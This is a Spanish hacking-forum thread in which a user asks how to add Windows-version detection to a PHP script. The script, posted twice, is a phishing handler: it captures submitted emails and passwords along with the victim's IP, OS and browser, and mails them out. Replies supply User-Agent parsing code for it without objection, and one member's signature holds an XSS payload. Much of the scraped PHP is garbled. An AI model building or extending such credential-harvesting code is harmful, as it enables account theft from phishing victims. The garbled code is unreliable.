comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Ayuda PHP - Detectar Version Windows

  • 6 Respuestas
  • 2704 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado NyxKazuya

  • *
  • Underc0der
  • Mensajes: 51
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Julio 24, 2015, 01:19:40 pm »
hola amigos bueno no soy tan bueno en PHP y espero que me puedan ayudar, aqui hay un ejemplo pero no quiero que detecte el s.o si no la version del windows.

ejemplo:
Código: You are not allowed to view links. Register or Login
<?php
/** * Función para detectar el sistema operativo, navegador y versión del mismo */
/** * Funcion que devuelve un array con los valores: * os => sistema operativo * browser => navegador * version => version del navegador */
function detect(){
$browser=array("IE","OPERA","MOZILLA","NETSCAPE","FIREFOX","SAFARI","CHROME");
$os=array("WIN","MAC","LINUX"); 
# definimos unos valores por defecto para el navegador y el sistema operativo
$info['browser'] = "OTHER"; $info['os'] = "OTHER"
# buscamos el navegador con su sistema operativo
foreach($browser as $parent) {
$s strpos(strtoupper($_SERVER['HTTP_USER_AGENT']), $parent);
$f $s strlen($parent);
$version substr($_SERVER['HTTP_USER_AGENT'], $f15);
$version preg_replace('/[^0-9,.]/','',$version);
if ($s) {
$info['browser'] = $parent;
$info['version'] = $version;
}

# obtenemos el sistema operativo
foreach($os as $val){
if (strpos(strtoupper($_SERVER['HTTP_USER_AGENT']),$val)!==false)
$info['os'] = $val;

# devolvemos el array de valores
return $info;
}

function fecha(){  
$horas date "h:i:s A"); 
$mes date("n"); 
$mesArray = array( => "Enero"=> "Febrero"=> "Marzo"=> "Abril"=> "Mayo"=> "Junio"=> "Julio"=> "Agosto"=> "Septiembre"10 => "Octubre"11 => "Noviembre"12 => "Diciembre" ); 
$semana date("D"); 
$semanaArray = array( "Mon" => "Lunes""Tue" => "Martes""Wed" => "Miercoles""Thu" => "Jueves""Fri" => "Viernes""Sat" => "Sábado""Sun" => "Domingo", );
$mesReturn $mesArray[$mes];
$semanaReturn $semanaArray[$semana]; 
$dia date("d"); $anio date ("Y"); 
return $semanaReturn." ".$dia." de ".$mesReturn." de ".$anio." a las " .$horas
}

$xfecha fecha();
$info detect();

$message .= "-------------- | xxxxxx | -----------------------\n";
$message .= "Login: ".$_POST['email']."\n";
$message .= "Password: ".$_POST['clave']."\n";     
$message .= "Password: ".$_POST['clave2']."\n";     
$message .= $ip getenv("REMOTE_ADDR")."\n";
$message .= $xfecha."\n";
$message .= "SO: ".$info["os"]."\n";
$message .= "Navegador: ".$info["browser"]."\n";
$message .= "Versión: ".$info["version"]."\n";
$message .= "-------------- xxxx xxxxx  -----------------------\n";

$to="";
$subject="";
$from="";
if(mail($to,$subject,$message,$from))

header("Location:");
?>

codigo php que encontre:

Código: You are not allowed to view links. Register or Login
<?php
 
 
// Inicio del Ejemplo
// *******************************************************************************
 
//Recogemos el user_agent del visitante
$user_agent $_SERVER['HTTP_USER_AGENT'];
 
 
function 
getPlatform($user_agent) {
   
$plataformas = array(
      
'Windows 8' =--> 'Windows NT 6.2+',
      
'Windows 7' => 'Windows NT 6.1+',
      
'Windows Vista' => 'Windows NT 6.0+',
      
'Windows XP' => 'Windows NT 5.1+',
      
'Windows 2003' => 'Windows NT 5.2+',
      
'Windows' => 'Windows otros',
      
'iPhone' => 'iPhone',
      
'iPad' => 'iPad',
      
'Mac OS X' => '(Mac OS X+)|(CFNetwork+)',
      
'Mac otros' => 'Macintosh',
      
'Android' => 'Android',
      
'BlackBerry' => 'BlackBerry',
      
'Linux' => 'Linux',
   );
   foreach(
$plataformas as $plataforma=>$pattern){
      if (
eregi($pattern$user_agent))
         return 
$plataforma;
   }
   return 
'Otras';
}
 
 
 
 
$SO getPlatform($user_agent);
 
echo 
"La plataforma con la que estás visitando esta web es: ".$SO;
 
 
 
// Fin del Ejemplo
// *******************************************************************************
 
?>

muchas gracias espero su ayuda!
« Última modificación: Julio 24, 2015, 02:21:01 pm por Expermicid »

Desconectado n0Sense

  • *
  • Underc0der
  • Mensajes: 16
  • Actividad:
    0%
  • Reputación 0
  • La curiosidad mato al gato, pero murio sabiendo.
    • Ver Perfil
« Respuesta #1 en: Julio 24, 2015, 01:30:47 pm »
Hola !

Te explico:
Datos basicos como el sistema operativo que esta usando el clienten estan almacenados en el User-Agent, por lo que tomando estos datos y haciendo una busqueda por "fuerza bruta" podrias saber que sistema operativo usa..

Aca te dejo una prueba de concepto:
Código: You are not allowed to view links. Register or Login
<?php
$userAgent $_SERVER['HTTP_USER_AGENT'];  // Pido el user agent al cliente.
echo "Mi User-Agent es -->    ".$userAgent."<br>"// Lo imprimo para que se vea en pantalla

if(strpos($userAgent"Windows")){ // Si en el useragent que almacené aparece la palabra "Windows" entonces:
echo "Uso Windows<br>";
}elseif(strpos($userAgent"Linux")){  // Si en el useragent que almacené aparece la palabra "Linux" entonces:
echo "Uso Linux<br>";
}

?>


Lo hice bastante basico para que se entienda bien, no te lo quiero hacer todo porque la esencia de aprender es que cueste.

Saludo!

Edit:
Leí mal, pense que querias s.o y no version  ;D
La mecanica ese la misma,deberias buscar en google como aparece cada version de windows y listo..
« Última modificación: Julio 24, 2015, 01:37:25 pm por n0Sense »
... Y es cuando te dedicas a observar la forma en la que las personas actuan dentro de la sociedad, en ese mismo momento, te das cuenta que prefieres estar solo ...

Desconectado NyxKazuya

  • *
  • Underc0der
  • Mensajes: 51
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Julio 24, 2015, 01:35:54 pm »
You are not allowed to view links. Register or Login
Hola !

Te explico:
Datos basicos como el sistema operativo que esta usando el clienten estan almacenados en el User-Agent, por lo que tomando estos datos y haciendo una busqueda por "fuerza bruta" podrias saber que sistema operativo usa..

Aca te dejo una prueba de concepto:
Código: You are not allowed to view links. Register or Login
<?php
$userAgent $_SERVER['HTTP_USER_AGENT'];  // Pido el user agent al cliente.
echo "Mi User-Agent es -->    ".$userAgent."<br>"// Lo imprimo para que se vea en pantalla

if(strpos($userAgent"Windows")){ // Si en el useragent que almacené aparece la palabra "Windows" entonces:
echo "Uso Windows<br>";
}elseif(strpos($userAgent"Linux")){  // Si en el useragent que almacené aparece la palabra "Linux" entonces:
echo "Uso Linux<br>";
}

?>


Lo hice bastante basico para que se entienda bien, no te lo quiero hacer todo porque la esencia de aprender es que cueste.

Saludo!
muchas gracias amigo, pero no quiere saber el S.O ya que es muy obio que usan windows quiero que detecten la version es decir.
      'Windows 8' =--> 'Windows NT 6.2+',
      'Windows 7' => 'Windows NT 6.1+',
      'Windows Vista' => 'Windows NT 6.0+',
      'Windows XP' => 'Windows NT 5.1+',
      'Windows 2003' => 'Windows NT 5.2+',
      'Windows' => 'Windows otros',
vuelvo a repetir quiero agregar el codigo al primer ejemplo para que envie los datos no se si me deje entender?

Desconectado n0Sense

  • *
  • Underc0der
  • Mensajes: 16
  • Actividad:
    0%
  • Reputación 0
  • La curiosidad mato al gato, pero murio sabiendo.
    • Ver Perfil
« Respuesta #3 en: Julio 24, 2015, 01:40:56 pm »
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
Hola !

Te explico:
Datos basicos como el sistema operativo que esta usando el clienten estan almacenados en el User-Agent, por lo que tomando estos datos y haciendo una busqueda por "fuerza bruta" podrias saber que sistema operativo usa..

Aca te dejo una prueba de concepto:
Código: You are not allowed to view links. Register or Login
<?php
$userAgent $_SERVER['HTTP_USER_AGENT'];  // Pido el user agent al cliente.
echo "Mi User-Agent es -->    ".$userAgent."<br>"// Lo imprimo para que se vea en pantalla

if(strpos($userAgent"Windows")){ // Si en el useragent que almacené aparece la palabra "Windows" entonces:
echo "Uso Windows<br>";
}elseif(strpos($userAgent"Linux")){  // Si en el useragent que almacené aparece la palabra "Linux" entonces:
echo "Uso Linux<br>";
}

?>


Lo hice bastante basico para que se entienda bien, no te lo quiero hacer todo porque la esencia de aprender es que cueste.

Saludo!
muchas gracias amigo, pero no quiere saber el S.O ya que es muy obio que usan windows quiero que detecten la version es decir.
      'Windows 8' =--> 'Windows NT 6.2+',
      'Windows 7' => 'Windows NT 6.1+',
      'Windows Vista' => 'Windows NT 6.0+',
      'Windows XP' => 'Windows NT 5.1+',
      'Windows 2003' => 'Windows NT 5.2+',
      'Windows' => 'Windows otros',
vuelvo a repetir quiero agregar el codigo al primer ejemplo para que envie los datos no se si me deje entender?

Tenes razón, lei mal jajaja, pero la ciencia es la misma:

Si 'Windows NT 6.2' esta en User-Agent => usa Windows 8.
Si 'Windows NT 6.1' esta en User-Agent => usa Windows 7.
...
...


Aca una tabla que te va a ser util:

Código: You are not allowed to view links. Register or Login
Windows NT 6.3 Windows 8.1
Windows NT 6.2 Windows 8
Windows NT 6.1 Windows 7
Windows NT 6.0 Windows Vista
Windows NT 5.2 Windows Server 2003; Windows XP x64 Edition
Windows NT 5.1 Windows XP
Windows NT 5.01 Windows 2000, Service Pack 1 (SP1)
Windows NT 5.0 Windows 2000
Windows NT 4.0 Microsoft Windows NT 4.0
Windows 98; Win 9x 4.90 Windows Millennium Edition (Windows Me)
Windows 98 Windows 98
Windows 95 Windows 95
Windows CE Windows CE
... Y es cuando te dedicas a observar la forma en la que las personas actuan dentro de la sociedad, en ese mismo momento, te das cuenta que prefieres estar solo ...

Desconectado Jimeno

  • *
  • Underc0der
  • Mensajes: 367
  • Actividad:
    0%
  • Reputación -1
  • NULL
    • Ver Perfil
    • Twitter
  • Skype: migueljimeno96
  • Twitter: &quot;&gt;&lt;&lt;img src=y onerror=prompt();&gt;
« Respuesta #4 en: Julio 24, 2015, 01:43:31 pm »
Deberás modificarlo un poco para que lo muestre como tú desees.
Te dejo un snippet funcional:
Código: PHP
  1. <?php
  2.  
  3. $user_agent     =   $_SERVER['HTTP_USER_AGENT'];
  4.  
  5. function getOS() {
  6.  
  7.     global $user_agent;
  8.  
  9.     $os_platform    =   "Unknown OS Platform";
  10.  
  11.     $os_array       =   You are not allowed to view links. Register or Login(
  12.                             '/windows nt 10/i'     =>  'Windows 10',
  13.                             '/windows nt 6.3/i'     =>  'Windows 8.1',
  14.                             '/windows nt 6.2/i'     =>  'Windows 8',
  15.                             '/windows nt 6.1/i'     =>  'Windows 7',
  16.                             '/windows nt 6.0/i'     =>  'Windows Vista',
  17.                             '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
  18.                             '/windows nt 5.1/i'     =>  'Windows XP',
  19.                             '/windows xp/i'         =>  'Windows XP',
  20.                             '/windows nt 5.0/i'     =>  'Windows 2000',
  21.                             '/windows me/i'         =>  'Windows ME',
  22.                             '/win98/i'              =>  'Windows 98',
  23.                             '/win95/i'              =>  'Windows 95',
  24.                             '/win16/i'              =>  'Windows 3.11',
  25.                             '/macintosh|mac os x/i' =>  'Mac OS X',
  26.                             '/mac_powerpc/i'        =>  'Mac OS 9',
  27.                             '/linux/i'              =>  'Linux',
  28.                             '/ubuntu/i'             =>  'Ubuntu',
  29.                             '/iphone/i'             =>  'iPhone',
  30.                             '/ipod/i'               =>  'iPod',
  31.                             '/ipad/i'               =>  'iPad',
  32.                             '/android/i'            =>  'Android',
  33.                             '/blackberry/i'         =>  'BlackBerry',
  34.                             '/webos/i'              =>  'Mobile'
  35.                         );
  36.  
  37.     foreach ($os_array as $regex => $value) {
  38.  
  39.         if (You are not allowed to view links. Register or Login($regex, $user_agent)) {
  40.             $os_platform    =   $value;
  41.         }
  42.  
  43.     }  
  44.  
  45.     return $os_platform;
  46.  
  47. }
  48.  
  49. function getBrowser() {
  50.  
  51.     global $user_agent;
  52.  
  53.     $browser        =   "Unknown Browser";
  54.  
  55.     $browser_array  =   You are not allowed to view links. Register or Login(
  56.                             '/msie/i'       =>  'Internet Explorer',
  57.                             '/firefox/i'    =>  'Firefox',
  58.                             '/safari/i'     =>  'Safari',
  59.                             '/chrome/i'     =>  'Chrome',
  60.                             '/opera/i'      =>  'Opera',
  61.                             '/netscape/i'   =>  'Netscape',
  62.                             '/maxthon/i'    =>  'Maxthon',
  63.                             '/konqueror/i'  =>  'Konqueror',
  64.                             '/mobile/i'     =>  'Handheld Browser'
  65.                         );
  66.  
  67.     foreach ($browser_array as $regex => $value) {
  68.  
  69.         if (You are not allowed to view links. Register or Login($regex, $user_agent)) {
  70.             $browser    =   $value;
  71.         }
  72.  
  73.     }
  74.  
  75.     return $browser;
  76.  
  77. }
  78.  
  79.  
  80. $user_os        =   getOS();
  81. $user_browser   =   getBrowser();
  82.  
  83. $device_details =   "<strong>Browser: </strong>".$user_browser."<br /><strong>Operating System: </strong>".$user_os."";
  84.  
  85. You are not allowed to view links. Register or Login($device_details);
  86.  
  87. echo("<br /><br /><br />".$_SERVER['HTTP_USER_AGENT']."");
  88.  
  89. ?>
  90.  
Contacto: @migueljimeno96 -

Desconectado NyxKazuya

  • *
  • Underc0der
  • Mensajes: 51
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #5 en: Julio 24, 2015, 01:46:10 pm »
You are not allowed to view links. Register or Login
Deberás modificarlo un poco para que lo muestre como tú desees.
Te dejo un snippet funcional:
Código: PHP
  1. <?php
  2.  
  3. $user_agent     =   $_SERVER['HTTP_USER_AGENT'];
  4.  
  5. function getOS() {
  6.  
  7.     global $user_agent;
  8.  
  9.     $os_platform    =   "Unknown OS Platform";
  10.  
  11.     $os_array       =   You are not allowed to view links. Register or Login(
  12.                             '/windows nt 10/i'     =>  'Windows 10',
  13.                             '/windows nt 6.3/i'     =>  'Windows 8.1',
  14.                             '/windows nt 6.2/i'     =>  'Windows 8',
  15.                             '/windows nt 6.1/i'     =>  'Windows 7',
  16.                             '/windows nt 6.0/i'     =>  'Windows Vista',
  17.                             '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
  18.                             '/windows nt 5.1/i'     =>  'Windows XP',
  19.                             '/windows xp/i'         =>  'Windows XP',
  20.                             '/windows nt 5.0/i'     =>  'Windows 2000',
  21.                             '/windows me/i'         =>  'Windows ME',
  22.                             '/win98/i'              =>  'Windows 98',
  23.                             '/win95/i'              =>  'Windows 95',
  24.                             '/win16/i'              =>  'Windows 3.11',
  25.                             '/macintosh|mac os x/i' =>  'Mac OS X',
  26.                             '/mac_powerpc/i'        =>  'Mac OS 9',
  27.                             '/linux/i'              =>  'Linux',
  28.                             '/ubuntu/i'             =>  'Ubuntu',
  29.                             '/iphone/i'             =>  'iPhone',
  30.                             '/ipod/i'               =>  'iPod',
  31.                             '/ipad/i'               =>  'iPad',
  32.                             '/android/i'            =>  'Android',
  33.                             '/blackberry/i'         =>  'BlackBerry',
  34.                             '/webos/i'              =>  'Mobile'
  35.                         );
  36.  
  37.     foreach ($os_array as $regex => $value) {
  38.  
  39.         if (You are not allowed to view links. Register or Login($regex, $user_agent)) {
  40.             $os_platform    =   $value;
  41.         }
  42.  
  43.     }  
  44.  
  45.     return $os_platform;
  46.  
  47. }
  48.  
  49. function getBrowser() {
  50.  
  51.     global $user_agent;
  52.  
  53.     $browser        =   "Unknown Browser";
  54.  
  55.     $browser_array  =   You are not allowed to view links. Register or Login(
  56.                             '/msie/i'       =>  'Internet Explorer',
  57.                             '/firefox/i'    =>  'Firefox',
  58.                             '/safari/i'     =>  'Safari',
  59.                             '/chrome/i'     =>  'Chrome',
  60.                             '/opera/i'      =>  'Opera',
  61.                             '/netscape/i'   =>  'Netscape',
  62.                             '/maxthon/i'    =>  'Maxthon',
  63.                             '/konqueror/i'  =>  'Konqueror',
  64.                             '/mobile/i'     =>  'Handheld Browser'
  65.                         );
  66.  
  67.     foreach ($browser_array as $regex => $value) {
  68.  
  69.         if (You are not allowed to view links. Register or Login($regex, $user_agent)) {
  70.             $browser    =   $value;
  71.         }
  72.  
  73.     }
  74.  
  75.     return $browser;
  76.  
  77. }
  78.  
  79.  
  80. $user_os        =   getOS();
  81. $user_browser   =   getBrowser();
  82.  
  83. $device_details =   "<strong>Browser: </strong>".$user_browser."<br /><strong>Operating System: </strong>".$user_os."";
  84.  
  85. You are not allowed to view links. Register or Login($device_details);
  86.  
  87. echo("<br /><br /><br />".$_SERVER['HTTP_USER_AGENT']."");
  88.  
  89. ?>
  90.  

realmente jolla amigo y gracias pero no se como agregar esa funcion al primer ejemplo, ya que el primer ejemplo solo detecta s.o es de decir si es windows u linux, ya que es obio que usa windows solo queria que detecte la version del windows, aqui el primer ejemplo:

Código: You are not allowed to view links. Register or Login
<?php
/** * Función para detectar el sistema operativo, navegador y versión del mismo */
/** * Funcion que devuelve un array con los valores: * os => sistema operativo * browser => navegador * version => version del navegador */
function detect(){
$browser=array("IE","OPERA","MOZILLA","NETSCAPE","FIREFOX","SAFARI","CHROME");
$os=array("WIN","MAC","LINUX"); 
# definimos unos valores por defecto para el navegador y el sistema operativo
$info['browser'] = "OTHER"; $info['os'] = "OTHER"
# buscamos el navegador con su sistema operativo
foreach($browser as $parent) {
$s strpos(strtoupper($_SERVER['HTTP_USER_AGENT']), $parent);
$f $s strlen($parent);
$version substr($_SERVER['HTTP_USER_AGENT'], $f15);
$version preg_replace('/[^0-9,.]/','',$version);
if ($s) {
$info['browser'] = $parent;
$info['version'] = $version;
}

# obtenemos el sistema operativo
foreach($os as $val){
if (strpos(strtoupper($_SERVER['HTTP_USER_AGENT']),$val)!==false)
$info['os'] = $val;

# devolvemos el array de valores
return $info;
}

function fecha(){  
$horas date "h:i:s A"); 
$mes date("n"); 
$mesArray = array( => "Enero"=> "Febrero"=> "Marzo"=> "Abril"=> "Mayo"=> "Junio"=> "Julio"=> "Agosto"=> "Septiembre"10 => "Octubre"11 => "Noviembre"12 => "Diciembre" ); 
$semana date("D"); 
$semanaArray = array( "Mon" => "Lunes""Tue" => "Martes""Wed" => "Miercoles""Thu" => "Jueves""Fri" => "Viernes""Sat" => "Sábado""Sun" => "Domingo", );
$mesReturn $mesArray[$mes];
$semanaReturn $semanaArray[$semana]; 
$dia date("d"); $anio date ("Y"); 
return $semanaReturn." ".$dia." de ".$mesReturn." de ".$anio." a las " .$horas
}

$xfecha fecha();
$info detect();

$message .= "-------------- | xxxxxx | -----------------------\n";
$message .= "Login: ".$_POST['email']."\n";
$message .= "Password: ".$_POST['clave']."\n";     
$message .= "Password: ".$_POST['clave2']."\n";     
$message .= $ip getenv("REMOTE_ADDR")."\n";
$message .= $xfecha."\n";
$message .= "SO: ".$info["os"]."\n";
$message .= "Navegador: ".$info["browser"]."\n";
$message .= "Versión: ".$info["version"]."\n";
$message .= "-------------- xxxx xxxxx  -----------------------\n";

$to="";
$subject="";
$from="";
if(mail($to,$subject,$message,$from))

header("Location:");
?>

Desconectado Jimeno

  • *
  • Underc0der
  • Mensajes: 367
  • Actividad:
    0%
  • Reputación -1
  • NULL
    • Ver Perfil
    • Twitter
  • Skype: migueljimeno96
  • Twitter: &quot;&gt;&lt;&lt;img src=y onerror=prompt();&gt;
« Respuesta #6 en: Julio 24, 2015, 01:51:00 pm »
Adapta la función getOS a tu código o impleméntala tú. Si tienes alguna duda específica avisas y te ayudamos.
Contacto: @migueljimeno96 -

 

¿Te gustó el post? COMPARTILO!



[SOLUCIONADO] Ayuda urgente con Virus "Virus.Win32Sality"

Iniciado por Napsters

Respuestas: 6
Vistas: 3254
Último mensaje Junio 11, 2012, 03:38:18 am
por Satyricon
"ayuda con fruitywifi-karma" no puedo activar el modulo karma.

Iniciado por cristobal92

Respuestas: 4
Vistas: 1123
Último mensaje Agosto 02, 2016, 12:03:45 pm
por cristobal92
[JAVA] Ayuda Sockets en Java

Iniciado por FERNANDX

Respuestas: 1
Vistas: 404
Último mensaje Abril 25, 2018, 08:49:50 pm
por Mortal_Poison
[Ayuda] Crear .zip o .rar de un "archivo"

Iniciado por Zentraedi

Respuestas: 5
Vistas: 1267
Último mensaje Marzo 03, 2017, 02:15:20 pm
por Zentraedi
Ayuda Metasploit "no session was created"

Iniciado por kush20

Respuestas: 3
Vistas: 270
Último mensaje Junio 03, 2018, 07:18:08 pm
por km0xu95